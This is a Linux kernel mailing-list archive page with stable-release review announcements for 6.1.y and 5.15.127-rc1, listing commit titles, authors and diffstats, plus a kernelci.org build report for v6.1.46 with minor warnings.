Souradeep Chakrabarti <schakrabarti(a)linux.microsoft.com>
net: mana: Fix MANA VF unload when hardware is unresponsive
Miquel Raynal <miquel.raynal(a)bootlin.com>
dmaengine: xilinx: xdma: Fix interrupt vector setting
Ilpo Järvinen <ilpo.jarvinen(a)linux.intel.com>
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Paolo Abeni <pabeni(a)redhat.com>
mptcp: fix disconnect vs accept race
Paolo Abeni <pabeni(a)redhat.com>
mptcp: avoid bogus reset on fallback close
Andrea Claudi <aclaudi(a)redhat.com>
selftests: mptcp: join: fix 'implicit EP' test
Andrea Claudi <aclaudi(a)redhat.com>
selftests: mptcp: join: fix 'delete and re-add' test
Maciej Żenczykowski <maze(a)google.com>
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Kunihiko Hayashi <hayashi.kunihiko(a)socionext.com>
mmc: sdhci-f-sdh30: Replace with sdhci_pltfm
Sergei Antonov <saproj(a)gmail.com>
mmc: moxart: read scr register without changing byte order
Jason A. Donenfeld <Jason(a)zx2c4.com>
wireguard: allowedips: expand maximum node depth
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Set default IPv6 traceroute utility
Ping-Ke Shih <pkshih(a)realtek.com>
wifi: rtw89: fix 8852AE disconnection caused by RX full flags
Keith Yeo <keithyjy(a)gmail.com>
wifi: nl80211: fix integer overflow in nl80211_parse_mbssid_elems()
Paolo Bonzini <pbonzini(a)redhat.com>
KVM: SEV: only access GHCB fields once
Paolo Bonzini <pbonzini(a)redhat.com>
KVM: SEV: snapshot the GHCB before accessing it
Namjae Jeon <linkinjeon(a)kernel.org>
ksmbd: fix wrong next length validation of ea buffer in smb2_set_ea()
Long Li <leo.lilong(a)huawei.com>
ksmbd: validate command request size
Mario Limonciello <mario.limonciello(a)amd.com>
tpm: Add a helper for checking hwrng enabled
Jonathan McDowell <noodles(a)meta.com>
tpm/tpm_tis: Disable interrupts for Lenovo P620 devices
Mario Limonciello <mario.limonciello(a)amd.com>
tpm: Disable RNG for all AMD fTPMs
Takashi Iwai <tiwai(a)suse.de>
tpm/tpm_tis: Disable interrupts for TUXEDO InfinityBook S 15/17 Gen7
-------------
Diffstat:
Makefile | 4 +-
arch/alpha/kernel/setup.c | 3 +-
arch/arm64/kvm/arm.c | 15 +-
arch/parisc/Kconfig.debug | 2 +-
arch/parisc/include/asm/spinlock.h | 2 -
arch/parisc/include/asm/spinlock_types.h | 6 +
arch/parisc/kernel/sys_parisc.c | 15 +-
arch/parisc/kernel/syscall.S | 23 +-
arch/riscv/include/asm/mmio.h | 16 +-
arch/riscv/include/asm/pgtable.h | 2 +
arch/riscv/kernel/elf_kexec.c | 3 +-
arch/riscv/mm/init.c | 16 +-
arch/riscv/mm/kasan_init.c | 1 -
arch/x86/boot/compressed/idt_64.c | 9 +-
arch/x86/boot/compressed/sev.c | 37 ++-
arch/x86/entry/vdso/vma.c | 4 +-
arch/x86/include/asm/acpi.h | 2 +
arch/x86/include/asm/linkage.h | 2 +-
arch/x86/include/asm/processor.h | 2 +
arch/x86/include/asm/segment.h | 2 +-
arch/x86/kernel/acpi/boot.c | 4 +
arch/x86/kernel/cpu/amd.c | 1 +
arch/x86/kernel/vmlinux.lds.S | 12 +-
arch/x86/kvm/svm/sev.c | 94 ++++----
arch/x86/kvm/svm/svm.h | 26 +++
arch/x86/kvm/x86.c | 2 -
drivers/accel/ivpu/ivpu_gem.c | 8 +
drivers/acpi/resource.c | 64 +++++
drivers/acpi/scan.c | 1 +
drivers/android/binder.c | 1 +
drivers/android/binder_alloc.c | 6 +
drivers/android/binder_alloc.h | 1 +
drivers/block/zram/zram_drv.c | 32 ++-
drivers/char/tpm/tpm-chip.c | 83 ++-----
drivers/char/tpm/tpm_crb.c | 30 +++
drivers/char/tpm/tpm_tis.c | 20 +-
drivers/cpufreq/amd-pstate.c | 10 +-
drivers/cpuidle/cpuidle-psci-domain.c | 39 ++--
drivers/cpuidle/dt_idle_genpd.c | 24 ++
drivers/cpuidle/dt_idle_genpd.h | 7 +
drivers/dma/idxd/device.c | 4 +-
drivers/dma/mcf-edma.c | 13 +-
drivers/dma/owl-dma.c | 2 +-
drivers/dma/pl330.c | 18 +-
drivers/dma/xilinx/xdma.c | 6 +-
drivers/gpio/gpio-sim.c | 1 +
drivers/gpio/gpio-ws16c48.c | 2 +-
drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 +
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 2 +-
drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 26 +++
drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 5 +-
.../amd/display/amdgpu_dm/amdgpu_dm_mst_types.c | 2 +-
.../amd/display/dc/dce110/dce110_hw_sequencer.c | 3 +-
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7 +-
drivers/gpu/drm/amd/pm/inc/amdgpu_dpm.h | 2 +
drivers/gpu/drm/amd/pm/powerplay/amd_powerplay.c | 48 ++++
.../drm/amd/pm/powerplay/hwmgr/hardwaremanager.c | 4 +-
.../gpu/drm/amd/pm/powerplay/hwmgr/smu7_hwmgr.c | 2 +
.../gpu/drm/amd/pm/powerplay/hwmgr/smu_helper.c | 27 +--
.../gpu/drm/amd/pm/powerplay/hwmgr/vega10_hwmgr.c | 10 +
.../gpu/drm/amd/pm/powerplay/hwmgr/vega12_hwmgr.c | 4 +
.../gpu/drm/amd/pm/powerplay/hwmgr/vega20_hwmgr.c | 4 +
drivers/gpu/drm/amd/pm/powerplay/inc/hwmgr.h | 2 +
drivers/gpu/drm/amd/pm/powerplay/inc/power_state.h | 1 +
drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 34 +++
drivers/gpu/drm/amd/pm/swsmu/inc/amdgpu_smu.h | 2 +
drivers/gpu/drm/amd/pm/swsmu/smu11/smu_v11_0.c | 9 +-
drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0.c | 9 +-
.../gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c | 3 +-
drivers/gpu/drm/bridge/ite-it6505.c | 4 +-
drivers/gpu/drm/drm_gem_shmem_helper.c | 6 +
drivers/gpu/drm/nouveau/nouveau_connector.c | 2 +-
drivers/gpu/drm/nouveau/nvkm/engine/disp/dp.c | 48 +++-
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4 +-
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/tu102.c | 13 --
drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 17 +-
drivers/hwmon/aquacomputer_d5next.c | 37 ++-
drivers/hwmon/pmbus/bel-pfe.c | 16 +-
drivers/iio/adc/ad7192.c | 16 +-
drivers/iio/adc/ina2xx-adc.c | 9 +-
drivers/iio/adc/meson_saradc.c | 23 +-
.../common/cros_ec_sensors/cros_ec_sensors_core.c | 2 +-
drivers/iio/frequency/admv1013.c | 5 +-
drivers/iio/imu/st_lsm6dsx/st_lsm6dsx_core.c | 2 +-
drivers/iio/industrialio-core.c | 5 +-
drivers/iio/light/rohm-bu27034.c | 22 +-
drivers/infiniband/core/umem.c | 3 +-
drivers/infiniband/hw/bnxt_re/main.c | 4 +-
drivers/infiniband/hw/hfi1/chip.c | 1 +
drivers/interconnect/qcom/bcm-voter.c | 5 +
drivers/interconnect/qcom/icc-rpmh.h | 2 +
drivers/interconnect/qcom/sa8775p.c | 1 +
drivers/interconnect/qcom/sm8450.c | 9 +
drivers/interconnect/qcom/sm8550.c | 17 ++
drivers/isdn/mISDN/dsp.h | 2 +-
drivers/isdn/mISDN/dsp_cmx.c | 2 +-
drivers/isdn/mISDN/dsp_core.c | 2 +-
drivers/misc/cardreader/rts5227.c | 2 +-
drivers/misc/cardreader/rts5228.c | 18 --
drivers/misc/cardreader/rts5249.c | 3 +-
drivers/misc/cardreader/rts5260.c | 18 --
drivers/misc/cardreader/rts5261.c | 18 --
drivers/misc/cardreader/rtsx_pcr.c | 5 +-
drivers/mmc/host/moxart-mmc.c | 8 +-
drivers/mmc/host/sdhci_f_sdh30.c | 60 +++--
drivers/net/bonding/bond_main.c | 4 +-
drivers/net/dsa/ocelot/felix.c | 2 +
drivers/net/ethernet/freescale/enetc/enetc_pf.c | 103 +++++---
drivers/net/ethernet/hisilicon/hns3/hns3_debugfs.c | 4 +-
drivers/net/ethernet/hisilicon/hns3/hns3_enet.c | 14 +-
.../ethernet/hisilicon/hns3/hns3pf/hclge_debugfs.c | 4 +-
.../ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24 +-
drivers/net/ethernet/ibm/ibmvnic.c | 112 +++++++--
drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 5 +-
drivers/net/ethernet/intel/iavf/iavf_fdir.c | 11 +-
drivers/net/ethernet/intel/igc/igc.h | 4 +
drivers/net/ethernet/intel/igc/igc_main.c | 34 ++-
.../ethernet/marvell/prestera/prestera_router.c | 14 +-
.../ethernet/mellanox/mlx5/core/en/tc_tun_encap.c | 6 +-
drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 11 +
drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 21 +-
.../net/ethernet/mellanox/mlx5/core/lag/port_sel.c | 2 +-
.../net/ethernet/mellanox/mlx5/core/lib/clock.c | 5 +
drivers/net/ethernet/mellanox/mlx5/core/main.c | 2 +-
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3 +-
.../ethernet/mellanox/mlx5/core/steering/dr_ptrn.c | 2 +-
drivers/net/ethernet/microsoft/mana/mana_en.c | 37 ++-
drivers/net/ethernet/pensando/ionic/ionic_lif.c | 23 +-
drivers/net/macsec.c | 28 +--
drivers/net/phy/at803x.c | 2 -
drivers/net/tun.c | 2 +-
drivers/net/vxlan/vxlan_vnifilter.c | 11 +-
drivers/net/wireguard/allowedips.c | 8 +-
drivers/net/wireguard/selftest/allowedips.c | 16 +-
.../broadcom/brcm80211/brcmfmac/cfg80211.c | 5 +
drivers/net/wireless/realtek/rtw89/mac.c | 2 +-
drivers/nvme/host/core.c | 10 +-
drivers/nvme/host/pci.c | 3 +-
drivers/nvme/host/rdma.c | 3 +-
drivers/nvme/host/tcp.c | 3 +-
drivers/pci/bus.c | 4 +-
drivers/pci/controller/Kconfig | 1 -
drivers/pci/of.c | 5 -
drivers/platform/x86/lenovo-ymc.c | 25 ++
drivers/platform/x86/mlx-platform.c | 23 +-
drivers/platform/x86/msi-ec.c | 18 +-
drivers/platform/x86/serial-multi-instantiate.c | 35 ++-
drivers/scsi/53c700.c | 2 +-
drivers/scsi/fnic/fnic.h | 2 +-
drivers/scsi/fnic/fnic_scsi.c | 6 +-
drivers/scsi/qedf/qedf_main.c | 18 ++
drivers/scsi/qedi/qedi_main.c | 18 ++
drivers/scsi/raid_class.c | 1 +
drivers/scsi/scsi_proc.c | 30 +--
drivers/scsi/snic/snic_disc.c | 1 +
drivers/scsi/storvsc_drv.c | 4 -
drivers/thunderbolt/tb.c | 2 +
drivers/ufs/host/ufs-renesas.c | 2 +-
drivers/usb/common/usb-conn-gpio.c | 6 +-
drivers/usb/dwc3/gadget.c | 9 +-
drivers/usb/gadget/udc/core.c | 9 +
drivers/usb/storage/alauda.c | 12 +-
drivers/usb/typec/altmodes/displayport.c | 18 +-
drivers/usb/typec/tcpm/tcpm.c | 7 +
fs/btrfs/block-group.c | 17 +-
fs/btrfs/block-group.h | 2 +
fs/btrfs/disk-io.c | 3 +-
fs/btrfs/extent-tree.c | 5 +-
fs/btrfs/extent_io.c | 13 +-
fs/btrfs/inode.c | 10 +-
fs/btrfs/relocation.c | 45 +++-
fs/btrfs/tree-checker.c | 14 ++
fs/nilfs2/inode.c | 8 +
fs/nilfs2/segment.c | 2 +
fs/nilfs2/the_nilfs.h | 2 +
fs/proc/kcore.c | 30 ++-
fs/smb/server/smb2misc.c | 10 +-
fs/smb/server/smb2pdu.c | 9 +-
include/linux/cpu.h | 2 +
include/linux/skmsg.h | 1 +
include/linux/tpm.h | 1 +
include/net/cfg80211.h | 3 +
include/net/netfilter/nf_tables.h | 64 ++++-
include/trace/events/tcp.h | 5 +-
io_uring/io_uring.c | 3 +
io_uring/openclose.c | 6 +-
mm/damon/core.c | 1 +
mm/hugetlb.c | 75 ++++--
mm/memory-failure.c | 29 +--
mm/zsmalloc.c | 14 +-
net/core/filter.c | 6 -
net/core/skmsg.c | 10 +-
net/core/sock_map.c | 10 +-
net/dccp/output.c | 2 +-
net/dccp/proto.c | 10 +-
net/ipv4/ip_tunnel_core.c | 2 +-
net/ipv4/nexthop.c | 28 +--
net/ipv6/ndisc.c | 3 +-
net/mptcp/protocol.c | 4 +-
net/mptcp/protocol.h | 1 -
net/mptcp/subflow.c | 58 ++---
net/netfilter/nf_tables_api.c | 259 +++++++++++++++++++--
net/netfilter/nft_set_hash.c | 85 ++++---
net/netfilter/nft_set_pipapo.c | 66 ++++--
net/netfilter/nft_set_rbtree.c | 146 +++++++-----
net/packet/af_packet.c | 16 +-
net/smc/af_smc.c | 77 ++++--
net/smc/smc.h | 2 +-
net/smc/smc_clc.c | 4 +-
net/smc/smc_core.c | 25 +-
net/smc/smc_sysctl.c | 10 +-
net/tls/tls_device.c | 64 ++---
net/wireless/nl80211.c | 5 +-
net/xdp/xsk.c | 1 +
tools/testing/radix-tree/regression1.c | 2 +-
.../selftests/bpf/prog_tests/sockmap_listen.c | 2 +-
tools/testing/selftests/mm/ksm_tests.c | 1 +
tools/testing/selftests/net/fib_nexthops.sh | 10 +
.../testing/selftests/net/forwarding/bridge_mdb.sh | 59 ++---
.../selftests/net/forwarding/bridge_mdb_max.sh | 19 +-
tools/testing/selftests/net/forwarding/ethtool.sh | 2 +
.../net/forwarding/ethtool_extended_state.sh | 2 +
.../testing/selftests/net/forwarding/ethtool_mm.sh | 18 +-
.../selftests/net/forwarding/hw_stats_l3_gre.sh | 2 +
.../net/forwarding/ip6_forward_instats_vrf.sh | 2 +
tools/testing/selftests/net/forwarding/lib.sh | 17 ++
tools/testing/selftests/net/forwarding/settings | 1 +
.../testing/selftests/net/forwarding/tc_actions.sh | 6 +-
.../testing/selftests/net/forwarding/tc_flower.sh | 8 +-
.../selftests/net/forwarding/tc_tunnel_key.sh | 9 +-
tools/testing/selftests/net/mptcp/mptcp_join.sh | 6 +-
tools/testing/selftests/rseq/Makefile | 4 +-
tools/testing/selftests/rseq/rseq.c | 2 +
238 files changed, 2516 insertions(+), 1034 deletions(-)
2 years, 4 months
- 16
- 223
stable-rc/linux-6.1.y build: 20 builds: 0 failed, 20 passed, 3 warnings (v6.1.46)
by kernelci.org bot
stable-rc/linux-6.1.y build: 20 builds: 0 failed, 20 passed, 3 warnings (v6.1.46)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-6.1.y/kernel/v6.1.46/
Tree: stable-rc
Branch: linux-6.1.y
Git Describe: v6.1.46
Git Commit: 6c44e13dc284f7f4db17706ca48fd016d6b3d49a
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
x86_64:
x86_64_defconfig (gcc-10): 1 warning
x86_64_defconfig+x86-chromebook (gcc-10): 1 warning
Warnings summary:
2 arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
1 arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_sdcard_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
[PATCH 5.15 00/89] 5.15.127-rc1 review
by Greg Kroah-Hartman
This is the start of the stable review cycle for the 5.15.127 release.
There are 89 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Tue, 15 Aug 2023 21:16:53 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v5.x/stable-review/patch-5.15.127-r…
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-5.15.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Linux 5.15.127-rc1
Frederic Weisbecker <frederic(a)kernel.org>
timers/nohz: Last resort update jiffies on nohz_full IRQ entry
Nicholas Piggin <npiggin(a)gmail.com>
timers/nohz: Switch to ONESHOT_STOPPED in the low-res handler when the tick is stopped
Frederic Weisbecker <frederic(a)kernel.org>
tick: Detect and fix jiffies update stall
Eric Dumazet <edumazet(a)google.com>
sch_netem: fix issues in netem_change() vs get_dist_table()
Masahiro Yamada <masahiroy(a)kernel.org>
alpha: remove __init annotation from exported page_is_ram()
Nilesh Javali <njavali(a)marvell.com>
scsi: qedf: Fix firmware halt over suspend and resume
Nilesh Javali <njavali(a)marvell.com>
scsi: qedi: Fix firmware halt over suspend and resume
Karan Tilak Kumar <kartilak(a)cisco.com>
scsi: fnic: Replace return codes in fnic_clean_pending_aborts()
Zhu Wang <wangzhu9(a)huawei.com>
scsi: core: Fix possible memory leak if device_add() fails
Zhu Wang <wangzhu9(a)huawei.com>
scsi: snic: Fix possible memory leak if device_add() fails
Alexandra Diupina <adiupina(a)astralinux.ru>
scsi: 53c700: Check that command slot is not NULL
Michael Kelley <mikelley(a)microsoft.com>
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Tony Battersby <tonyb(a)cybernetics.com>
scsi: core: Fix legacy /proc parsing buffer overflow
Pablo Neira Ayuso <pablo(a)netfilter.org>
netfilter: nf_tables: report use refcount overflow
Ming Lei <ming.lei(a)redhat.com>
nvme-rdma: fix potential unbalanced freeze & unfreeze
Ming Lei <ming.lei(a)redhat.com>
nvme-tcp: fix potential unbalanced freeze & unfreeze
Josef Bacik <josef(a)toxicpanda.com>
btrfs: set cache_block_group_error if we find an error
Qu Wenruo <wqu(a)suse.com>
btrfs: reject invalid reloc tree root keys with stack dump
Qu Wenruo <wqu(a)suse.com>
btrfs: exit gracefully if reloc roots don't match
Christoph Hellwig <hch(a)lst.de>
btrfs: don't stop integrity writeback too early
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Handle DMA unmapping of login buffs in release functions
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Unmap DMA login rsp buffer on send login fail
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Enforce stronger sanity checks on login response
Moshe Shemesh <moshe(a)nvidia.com>
net/mlx5: Skip clock update work when device is in error state
Daniel Jurgens <danielj(a)nvidia.com>
net/mlx5: Allow 0 for total host VFs
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Ido Schimmel <idosch(a)nvidia.com>
nexthop: Fix infinite nexthop bucket dump when using maximum nexthop ID
Ido Schimmel <idosch(a)nvidia.com>
nexthop: Make nexthop bucket dump more efficient
Ido Schimmel <idosch(a)nvidia.com>
nexthop: Fix infinite nexthop dump when using maximum nexthop ID
Jie Wang <wangjie125(a)huawei.com>
net: hns3: add wait until mac link down
Jie Wang <wangjie125(a)huawei.com>
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
Li Yang <leoyang.li(a)nxp.com>
net: phy: at803x: remove set/get wol callbacks for AR8032
Michael Guralnik <michaelgur(a)nvidia.com>
RDMA/umem: Set iova in ODP flow
Felix Fietkau <nbd(a)nbd.name>
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Daniel Stone <daniels(a)collabora.com>
drm/rockchip: Don't spam logs in atomic check
Douglas Miller <doug.miller(a)cornelisnetworks.com>
IB/hfi1: Fix possible panic during hotplug remove
Piotr Gardocki <piotrx.gardocki(a)intel.com>
iavf: fix potential races for FDIR filters
Andrew Kanner <andrew.kanner(a)gmail.com>
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Eric Dumazet <edumazet(a)google.com>
dccp: fix data-race around dp->dccps_mss_cache
Ziyang Xuan <william.xuanziyang(a)huawei.com>
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
Magnus Karlsson <magnus.karlsson(a)intel.com>
xsk: fix refcount underflow in error path
Florian Westphal <fw(a)strlen.de>
tunnels: fix kasan splat when generating ipv4 pmtu error
Eric Dumazet <edumazet(a)google.com>
net/packet: annotate data-races around tp->status
Nathan Chancellor <nathan(a)kernel.org>
mISDN: Update parameter type of dsp_cmx_send()
Xu Kuohai <xukuohai(a)huawei.com>
bpf, sockmap: Fix bug that strp_done cannot be called
Xu Kuohai <xukuohai(a)huawei.com>
bpf, sockmap: Fix map type error in sock_map_del_link
Andrew Kanner <andrew.kanner(a)gmail.com>
net: core: remove unnecessary frame_sz check in bpf_xdp_adjust_tail()
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: tc_flower: Relax success criterion
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Switch off timeout
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Skip test when no interfaces are specified
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Add a helper to skip test when using veth pairs
Mark Brown <broonie(a)kernel.org>
selftests/rseq: Fix build with undefined __weak
Florian Westphal <fw(a)strlen.de>
netfilter: nf_tables: don't skip expired elements during walk
Karol Herbst <kherbst(a)redhat.com>
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Arnd Bergmann <arnd(a)arndb.de>
x86: Move gds_ucode_mitigated() declaration to header
Arnd Bergmann <arnd(a)arndb.de>
x86/speculation: Add cpu_show_gds() prototype
Kirill A. Shutemov <kirill.shutemov(a)linux.intel.com>
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Cristian Ciocaltea <cristian.ciocaltea(a)collabora.com>
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Nick Desaulniers <ndesaulniers(a)google.com>
x86/srso: Fix build breakage with the LLVM linker
Badhri Jagan Sridharan <badhri(a)google.com>
usb: typec: tcpm: Fix response to vsafe0V event
Prashanth K <quic_prashk(a)quicinc.com>
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Elson Roy Serrao <quic_eserrao(a)quicinc.com>
usb: dwc3: Properly handle processing of pending events
Alan Stern <stern(a)rowland.harvard.edu>
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Ricky WU <ricky_wu(a)realtek.com>
misc: rtsx: judge ASPM Mode to set PETXCFG Reg
Qi Zheng <zhengqi.arch(a)bytedance.com>
binder: fix memory leak in binder_init()
Alvin Šipraga <alsi(a)bang-olufsen.dk>
iio: adc: ina2xx: avoid NULL pointer dereference on OF device match
Yiyuan Guo <yguoaz(a)gmail.com>
iio: cros_ec: Fix the allocation size for cros_ec_command
Aleksa Sarai <cyphar(a)cyphar.com>
io_uring: correct check for O_TMPFILE
Ilya Leoshkevich <iii(a)linux.ibm.com>
selftests/bpf: Fix sk_assign on s390x
Yonghong Song <yhs(a)fb.com>
selftests/bpf: Workaround verification failure for fexit_bpf2bpf/func_replace_return_code
Andrii Nakryiko <andrii(a)kernel.org>
selftests/bpf: make test_align selftest more robust
Andrii Nakryiko <andrii(a)kernel.org>
bpf: aggressively forget precise markings during state checkpointing
Andrii Nakryiko <andrii(a)kernel.org>
bpf: stop setting precise in current state
Andrii Nakryiko <andrii(a)kernel.org>
bpf: allow precision tracking for programs with subprogs
Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Colin Ian King <colin.i.king(a)gmail.com>
radix tree test suite: fix incorrect allocation size for pthreads
Tao Ren <rentao.bupt(a)gmail.com>
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Melissa Wen <mwen(a)igalia.com>
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Boris Brezillon <boris.brezillon(a)collabora.com>
drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Karol Herbst <kherbst(a)redhat.com>
drm/nouveau/gr: enable memory loads on helper invocation on all channels
Andrea Parri <parri.andrea(a)gmail.com>
riscv,mmio: Fix readX()-to-delay() ordering
Ilpo Järvinen <ilpo.jarvinen(a)linux.intel.com>
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Maciej Żenczykowski <maze(a)google.com>
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Sergei Antonov <saproj(a)gmail.com>
mmc: moxart: read scr register without changing byte order
Jason A. Donenfeld <Jason(a)zx2c4.com>
wireguard: allowedips: expand maximum node depth
Namjae Jeon <linkinjeon(a)kernel.org>
ksmbd: fix wrong next length validation of ea buffer in smb2_set_ea()
Long Li <leo.lilong(a)huawei.com>
ksmbd: validate command request size
-------------
Diffstat:
Makefile | 4 +-
arch/alpha/kernel/setup.c | 3 +-
arch/riscv/include/asm/mmio.h | 16 +-
arch/x86/entry/vdso/vma.c | 4 +-
arch/x86/include/asm/processor.h | 2 +
arch/x86/kernel/cpu/amd.c | 1 +
arch/x86/kernel/vmlinux.lds.S | 12 +-
arch/x86/kvm/x86.c | 2 -
drivers/android/binder.c | 1 +
drivers/android/binder_alloc.c | 6 +
drivers/android/binder_alloc.h | 1 +
drivers/dma/mcf-edma.c | 13 +-
drivers/dma/pl330.c | 18 +-
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7 +-
drivers/gpu/drm/drm_gem_shmem_helper.c | 6 +
drivers/gpu/drm/nouveau/nouveau_connector.c | 2 +-
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4 +-
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10 ++
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1 +
drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 17 +-
drivers/hwmon/pmbus/bel-pfe.c | 16 +-
drivers/iio/adc/ina2xx-adc.c | 9 +-
